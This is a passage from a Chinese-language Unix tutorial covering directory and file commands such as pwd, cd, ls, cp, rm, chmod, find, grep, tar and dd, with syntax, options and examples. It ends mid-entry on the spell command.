<P>第二章&nbsp; 目录操作命令<BR></P></CENTER></H3><BR><BR>2.1 显示目录<BR>&nbsp;&nbsp;&nbsp; 命令：pwd（print working directory）<BR>&nbsp;&nbsp;&nbsp; 格式：pwd<BR>&nbsp;&nbsp;&nbsp; 功能：显示出用户当前工作目录的全路径名。<BR>&nbsp;&nbsp;&nbsp; 例如：% pwd<BR><BR>2.2 建立目录<BR>&nbsp;&nbsp;&nbsp; 命令：mkdir（make directory）<BR>&nbsp;&nbsp;&nbsp; 格式：mkdir directory_name<BR>&nbsp;&nbsp;&nbsp; 功能：建立新目录<BR>&nbsp;&nbsp;&nbsp; 例如：% mkdir directory<BR><BR>2.3 改变目录<BR>&nbsp;&nbsp;&nbsp; 命令：cd（change directory）<BR>&nbsp;&nbsp;&nbsp; 格式：cd directory_name<BR>&nbsp;&nbsp;&nbsp; 功能：改变当前工作目录<BR>&nbsp;&nbsp;&nbsp; 注释：目录名选项有:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1) 目录名，转到当前目录下的子目录。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (2) .. 表示转到当前目录的父目录。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (3) /&nbsp; 表示转到根目录。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (4) 没有选项时，转到用户的主目录。<BR>&nbsp;&nbsp;&nbsp; 例如：% cd directory<BR><BR>2.4 删除目录<BR>&nbsp;&nbsp;&nbsp; 命令：rmdir (remove directory)<BR>&nbsp;&nbsp;&nbsp; 格式：rmdir directory_name<BR>&nbsp;&nbsp;&nbsp; 功能：删除不存在文件的子目录名。<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1) 删除子目录时，要求被删除的目录中不存在文件或子目录，否则无法删除。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (2) 若被删除的目录中有文件或子目录，请参考命令rm -r directory_name。<BR>&nbsp;&nbsp; 例如：% rmdir directory<BR><BR><BR>
<H3>
<CENTER>
<P>第三章&nbsp; 文件操作命令<BR></P></CENTER></H3><BR><BR>3.1 列出文件目录<BR>&nbsp;&nbsp;&nbsp; 命令：ls (list)<BR>&nbsp;&nbsp;&nbsp; 格式：ls [option] directory_name<BR>&nbsp;&nbsp;&nbsp; 功能：列出指定目录中的文件名和子目录名。当无子目录名时，列出当前目录<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中的文件名和子目录名。<BR>&nbsp;&nbsp;&nbsp; 选项：-a列出所有文件，包括以点开头的隐含文件。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -l按长格式列出文件名，包括文件类型标识，权限，链接数，文件主名，<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 文件组名，字节数，日期。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -r列出包括子目录下所有文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -g在长格式中给出用户组的标识。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -t安文件生成日期排序。<BR>&nbsp;&nbsp;&nbsp; 例如：% ls -la<BR><BR>3.2 显示文件内容<BR>&nbsp;&nbsp;&nbsp; 命令：cat (catenae)<BR>&nbsp;&nbsp;&nbsp; 格式：cat filename<BR>&nbsp;&nbsp;&nbsp; 功能：显示出文件的内容。<BR>&nbsp;&nbsp;&nbsp; 注释：当文件内容在屏幕上滚动显示时，可按Ctrl+S键屏幕滚暂停，按Ctrl+Q<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 键继续显示。<BR>&nbsp;&nbsp;&nbsp; 例如：% cat filename<BR>&nbsp;&nbsp;&nbsp; <BR>3.3 按屏幕显示文件内容<BR>&nbsp;&nbsp;&nbsp; 命令：more<BR>&nbsp;&nbsp;&nbsp; 格式：more filename<BR>&nbsp;&nbsp;&nbsp; 功能：按屏幕一屏一屏显示出文件内容<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：在屏幕显示过程中有功能键。空格键 继续下一屏的输出；回车键 看下<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一行的输出；q键 跳出more状态；/字符串 查旬字符串所在处；a键 返<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 回到上一屏。<BR>&nbsp;&nbsp;&nbsp; 例如：% more filename<BR><BR>3.4 分页显示文件内容<BR>&nbsp;&nbsp;&nbsp; 命令：pg (page)<BR>&nbsp;&nbsp;&nbsp; 格式：pg [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：分页显示指定文件的内容。在显示一页文件时，最后一行将显示等待用<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 户输入指令。可输入的指令有如下选项。<BR>&nbsp;&nbsp;&nbsp; 选项：h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示pg命令中可使用的帮助(help)命令。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; q&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 退出pg命令。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [return]&nbsp;&nbsp; 显示下一页正文。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示正文的下一行<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [Space]&nbsp;&nbsp;&nbsp; 显示下一页<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; d/[Ctrl-D] 将屏幕滚动半屏。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示pg命令行中说明的下一个文件。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示pg命令行中说明的前一个文件。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 显示正文当前页的前面一页。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /pattern&nbsp;&nbsp; 在文件中向前搜索指定的字符模式。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ?pattern&nbsp;&nbsp; 在文件中向后搜索指定的字符模式。<BR>&nbsp;&nbsp;&nbsp; 注释：当pg命令显示到文件的末尾时，显示一个文件结束信息EOF(end of file)。<BR>&nbsp;&nbsp;&nbsp; 例如：% pg filename<BR><BR>3.5 读文件<BR>&nbsp;&nbsp;&nbsp; 命令：view<BR>&nbsp;&nbsp;&nbsp; 格式：view filename<BR>&nbsp;&nbsp;&nbsp; 功能：只能读出文件内容。<BR>&nbsp;&nbsp;&nbsp; 注释：此命令不能对读出的原文件进行写操作。若对原文件进行了修改，可利<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用命令“：w newfilename”将修改后的文件写到新文件中。<BR>&nbsp;&nbsp;&nbsp; 例如：% view filename<BR><BR>3.6 显示文件头部<BR>&nbsp;&nbsp;&nbsp; 命令：head<BR>&nbsp;&nbsp;&nbsp; 格式：head [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：显示文件的头部<BR>&nbsp;&nbsp;&nbsp; 选项：缺省&nbsp; 显示文件的头10行。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -i&nbsp;&nbsp;&nbsp; 显示文件的开始 i行。<BR>&nbsp;&nbsp;&nbsp; 例如：% head filename<BR><BR>3.7 显示文件尾部<BR>&nbsp;&nbsp;&nbsp; 命令：tail<BR>&nbsp;&nbsp;&nbsp; 格式：tail [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：显示文件的尾部<BR>&nbsp;&nbsp;&nbsp; 选项：缺省&nbsp; 显示文件的末10行。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -i&nbsp;&nbsp;&nbsp; 显示文件最后 i行。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +i&nbsp;&nbsp;&nbsp; 从文件的第i行开始显示。<BR>&nbsp;&nbsp;&nbsp; 例如：% tail filename<BR><BR>3.8 显示格式化的文件内容<BR>&nbsp;&nbsp;&nbsp; 命令：pr (print)<BR>&nbsp;&nbsp;&nbsp; 格式：pr filename<BR>&nbsp;&nbsp;&nbsp; 功能：在屏幕上显示格式化的文件内容，即印出每页66行的文本文件，包括５<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 行页头和５行页尾。页头包括两行空行，一行含有文件的时间、文件名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 和页号，另外两行为空行。页尾为５行空行。<BR>&nbsp;&nbsp;&nbsp; 例如：% pr filename<BR><BR>3.9 拷贝文件<BR>&nbsp;&nbsp;&nbsp; 命令：cp (copy)<BR>&nbsp;&nbsp;&nbsp; 格式：cp [option] filename1 filename2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cp [option] filename... directory<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cp -r directory1 directon2<BR>&nbsp;&nbsp;&nbsp; 功能：把一个文件的全部内容拷贝到另一个文件，也可将一个或多个文件拷贝<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 到另一个目录中。<BR>&nbsp;&nbsp;&nbsp; 选项：-i 按提示进行拷贝文件。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -p 按原文件日期进行拷贝。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -r 对子目录下所有文件进行拷贝。<BR>&nbsp;&nbsp;&nbsp; 注释：当filename1拷贝到filename2时，若filename2已经存在，则filename2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 的内容将被filename1覆盖。<BR>&nbsp;&nbsp;&nbsp; 例如：% cp filename1 filename2<BR><BR>3.10移动文件或文件改名<BR>&nbsp;&nbsp;&nbsp; 命令：mv (move)<BR>&nbsp;&nbsp;&nbsp; 格式：mv filename1 filename2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mv filename... direction<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mv direction1 direction2<BR>&nbsp;&nbsp;&nbsp; 功能：改变文件或目录的名子，或把一些文件移到另一目录下。<BR>&nbsp;&nbsp;&nbsp; 注释：当filename1更名为filename2时，若filename2已经存在，则filename2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 的内容将被filename1覆盖<BR>&nbsp;&nbsp;&nbsp; 例如：% mv filename1 filename2<BR><BR>3.11删除文件<BR>&nbsp;&nbsp;&nbsp; 命令：rm (remove)<BR>&nbsp;&nbsp;&nbsp; 格式：rm filename<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rm -r direction<BR>&nbsp;&nbsp;&nbsp; 功能：删除指定的文件或一个目录中的文件。<BR>&nbsp;&nbsp;&nbsp; 注释：用-r选项时，将删除指定目录的所用文件，包括目录名。<BR>&nbsp;&nbsp;&nbsp; 例如：% rm filename<BR><BR>3.12链接文件<BR>&nbsp;&nbsp;&nbsp; 命令：ln (link)<BR>&nbsp;&nbsp;&nbsp; 格式：ln [option] filename linkname<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ln [option] directory pathname<BR>&nbsp;&nbsp;&nbsp; 功能：为文件或目录建立一个链。其中，filename和directory是源文件名和<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 源目录名；linkname和pathname分别表示与源文件或源目录名相链接的<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 文件或目录。<BR>&nbsp;&nbsp;&nbsp; 选项：-s&nbsp; 为文件或目录建立符号链接。<BR>&nbsp;&nbsp;&nbsp; 注释：链接的目地在于，对一个文件或目录赋予两个以上的名字，使其可以出<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在不同的目录中，既可以使文件或目录共享，又可以节省磁盘空间。<BR>&nbsp;&nbsp;&nbsp; 例如：% ln -s filename linkname<BR><BR>3.13改变文件读取权限<BR>&nbsp;&nbsp;&nbsp; 命令：chmod (change mode)<BR>&nbsp;&nbsp;&nbsp; 格式：chmod {u|g|o|a}{+|-|=}{r|w|x} filename<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; chmod [who][op][mode] directory<BR>&nbsp;&nbsp;&nbsp; 功能：改变文件的读写和执行权限。有符号法和八进制数字法。<BR>&nbsp;&nbsp;&nbsp; 选项：(1)符号法：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; u (user)&nbsp;&nbsp; 表示用户本人。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g (group)&nbsp; 表示同组用户。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o (oher)&nbsp;&nbsp; 表示其他用户。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a (all)&nbsp;&nbsp;&nbsp; 表示所有用户。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用于给予指定用户的许可权限。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用于取消指定用户的许可权限。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将所许可的权限赋给文件。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; r (read)&nbsp;&nbsp; 读许可，表示可以拷贝该文件或目录的内容。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; w (write)&nbsp; 写许可，表示可以修改该文件或目录的内容。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; x (execute)执行许可，表示可以执行该文件或进入目录。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (2)八进制数字法：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 此方法用三位八进制数作任选项，每位数字分别表示用户本人、同组用<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 户、其他用户的权限，其中：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4 (100)&nbsp;&nbsp;&nbsp; 表示可读。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2 (010)&nbsp;&nbsp;&nbsp; 表示可写。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 (001)&nbsp;&nbsp;&nbsp; 表示可执行。<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% chmod a+rx filename<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 让所有用户可以读和执行文件filename。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; % chmod go-rx filename<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 取消同组和其他用户的读和执行文件filename的权限。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; % chmod 741 filename<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 让本人可读写执行、同组用户可读、其他用户可执行文件filename。<BR><BR>3.14改变文件所有权<BR>&nbsp;&nbsp;&nbsp; 命令：chown (change owner)<BR>&nbsp;&nbsp;&nbsp; 格式：chown username filename<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; chown -R username directory<BR>&nbsp;&nbsp;&nbsp; 功能：改变文件或目录的所有权。<BR>&nbsp;&nbsp;&nbsp; 选项：-R 将改变目录中所有文件及目录的拥有者。<BR>&nbsp;&nbsp;&nbsp; 注释：只有文件的主人和超级用户才能改变文件的所有权。<BR>&nbsp;&nbsp;&nbsp; 例如：% chown username filename<BR><BR>3.15寻找文件<BR>&nbsp;&nbsp;&nbsp; 命令：find<BR>&nbsp;&nbsp;&nbsp; 格式：find pathname [option] expression<BR>&nbsp;&nbsp;&nbsp; 功能：在所给的路经名下寻找符合表达式相匹配的文件。<BR>&nbsp;&nbsp;&nbsp; 选项：-name&nbsp;&nbsp;&nbsp;&nbsp; 表示文件名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -user&nbsp;&nbsp;&nbsp;&nbsp; 用户名，选取该用户所属的文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -group&nbsp;&nbsp;&nbsp; 组名，选取该用户组属的文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -mtime n&nbsp; 选取n天内被修改的文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -newer fn 选取比文件名为fn更晚修改的文件<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% find . -name '*abc*' -print<BR><BR>3.16搜索文件中匹配符<BR>&nbsp;&nbsp;&nbsp; 命令：grep<BR>&nbsp;&nbsp;&nbsp; 格式：grep [option] pattern filenames<BR>&nbsp;&nbsp;&nbsp; 功能：逐行搜索所指定的文件或标准输入，并显示匹配模式的每一行。<BR>&nbsp;&nbsp;&nbsp; 选项：-v 找出模式失配的行<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -c 统计匹配行的数量<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -n 显示匹配模式的每一行<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% ps -aux | grep R<BR><BR>3.17比较文件不同<BR>&nbsp;&nbsp;&nbsp; 命令：diff (difference)<BR>&nbsp;&nbsp;&nbsp; 格式：diff filename1 filename2<BR>&nbsp;&nbsp;&nbsp; 功能：显示两文件的不同之处。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% diff file1 file2<BR><BR>3.18比较文件<BR>&nbsp;&nbsp;&nbsp; 命令：cmp (compare)<BR>&nbsp;&nbsp;&nbsp; 格式：cmp [-l] [-s] filename1 filename2<BR>&nbsp;&nbsp;&nbsp; 功能：显示比较两文件不同处的信息<BR>&nbsp;&nbsp;&nbsp; 选项：-l 给出两文件不同的字节数<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s 不显示两文件的不同处，给出比较结果<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% cmp file1 file2<BR><BR>3.19比较文件共同处<BR>&nbsp;&nbsp;&nbsp; 命令：comm (common)<BR>&nbsp;&nbsp;&nbsp; 格式：comm [-123] filename1 filename2<BR>&nbsp;&nbsp;&nbsp; 功能：选择或拒绝比较两文件出现的共同行<BR>&nbsp;&nbsp;&nbsp; 选项：-1 不显示第1列<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -2 不显示第2列<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -3 不显示第3列<BR>&nbsp;&nbsp;&nbsp; 注释：输出三列，第一列表示在file1中出现的行，第二列表示在file2中出现<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 的行，第三列表示在file1和file2中共同出现的行。<BR>&nbsp;&nbsp;&nbsp; 例如：% comm file1 file2<BR><BR>3.20排序文件<BR>&nbsp;&nbsp;&nbsp; 命令：sort<BR>&nbsp;&nbsp;&nbsp; 格式：sort [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：将制定的文件按要求排序<BR>&nbsp;&nbsp;&nbsp; 选项：-r 按字母倒排序<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -n 按数字的值从笑到大排序<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -r 按当前排序规则逆序排序 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -f 不区分大小写排序<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -d 按典型顺序排序<BR>&nbsp;&nbsp;&nbsp; 注释：选项缺省时按ascii码顺序排序<BR>&nbsp;&nbsp;&nbsp; 例如：% sort -nr file<BR><BR>3.21压缩文件<BR>&nbsp;&nbsp;&nbsp; 命令：compress<BR>&nbsp;&nbsp;&nbsp; 格式：compress [option] filename <BR>&nbsp;&nbsp;&nbsp; 功能：压缩文件。<BR>&nbsp;&nbsp;&nbsp; 选项：-f 强制压缩 <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -v 压缩时显示压缩百分比<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% comproess files<BR><BR>3.22解缩文件<BR>&nbsp;&nbsp;&nbsp; 命令：uncompress<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; zcat<BR>&nbsp;&nbsp;&nbsp; 格式：compress [option] filename <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; zcat filename<BR>&nbsp;&nbsp;&nbsp; 功能：展开或显示压缩文件。<BR>&nbsp;&nbsp;&nbsp; 选项：-c 不改变文件写到标准输出<BR>&nbsp;&nbsp;&nbsp; 注释：zcat命令相当于uncompress -c<BR>&nbsp;&nbsp;&nbsp; 例如：% uncomproess files.Z<BR><BR><BR>3.23显示文件类型<BR>&nbsp;&nbsp;&nbsp; 命令：file<BR>&nbsp;&nbsp;&nbsp; 格式：file filename ...<BR>&nbsp;&nbsp;&nbsp; 功能：按文件内容来推测文件类型，如text，ascii，C，executable，core。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% file *<BR><BR>3.24建立档案文件<BR>&nbsp;&nbsp;&nbsp; 命令：tar (tape archive)<BR>&nbsp;&nbsp;&nbsp; 格式：tar [option] tarfile filename<BR>&nbsp;&nbsp;&nbsp; 功能：建立文件的存档或读存档文件。<BR>&nbsp;&nbsp;&nbsp; 选项：-c 建立一个新的档案文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -x 从档案文件中读取文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -v 显示处理文件的信息<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -f 指定档案文件名，缺省时为磁带机即/dev/rmt/0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -t 列出存档文件的信息<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% tar cvf tarfile .<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; % tar xvf tarfile<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; % tar tvf tarfile<BR><BR>3.25磁带拷贝文件<BR>&nbsp;&nbsp;&nbsp; 命令：dd<BR>&nbsp;&nbsp;&nbsp; 格式：dd [option=value] <BR>&nbsp;&nbsp;&nbsp; 功能：用磁带机转换或拷贝文件。<BR>&nbsp;&nbsp;&nbsp; 选项：if=name 指定输入文件名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; of=name 指定输出文件名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ibs=n&nbsp;&nbsp; 指定输入文件块大小为n字节（缺省为512字节）<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; obs=n&nbsp;&nbsp; 指定输出文件块大小为n字节（缺省为512字节）<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% dd if=filename of=/dev/rmt/0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; % dd if=/dev/rmt/0 of=filename ibs=1024<BR><BR>3.26修改文件日期<BR>&nbsp;&nbsp;&nbsp; 命令：touch<BR>&nbsp;&nbsp;&nbsp; 格式：touch filenae<BR>&nbsp;&nbsp;&nbsp; 功能：改变文件的日期，不对文件的内容做改动，若文件不存在则建立新文件。<BR>&nbsp;&nbsp;&nbsp; 选项：<BR>&nbsp;&nbsp;&nbsp; 注释：<BR>&nbsp;&nbsp;&nbsp; 例如：% touch file<BR><BR>3.27统计文件字数<BR>&nbsp;&nbsp;&nbsp; 命令：wc (word characters)<BR>&nbsp;&nbsp;&nbsp; 格式：wc [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：统计文件中的文件行数、字数和字符数。<BR>&nbsp;&nbsp;&nbsp; 选项：-l 统计文件的行数<BR>&nbsp; -w 统计文件的字数<BR>&nbsp; -c 统计文件的字符数<BR>&nbsp;&nbsp;&nbsp; 注释：若缺省文件名则指标准输入<BR>&nbsp;&nbsp;&nbsp; 例如：% wc file<BR><BR>3.28检查拼写<BR>&nbsp;&nbsp;&nbsp; 命令：spell (spelling)<BR>&nbsp;&nbsp;&nbsp; 格式：spell [option] filename ...<BR>&nbsp;&nbsp;&nbsp; 功能：检查文件中的拼写错误<BR>&nbsp;&nbsp;&nbsp; 选项：-b 按英国拼法检查<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -v 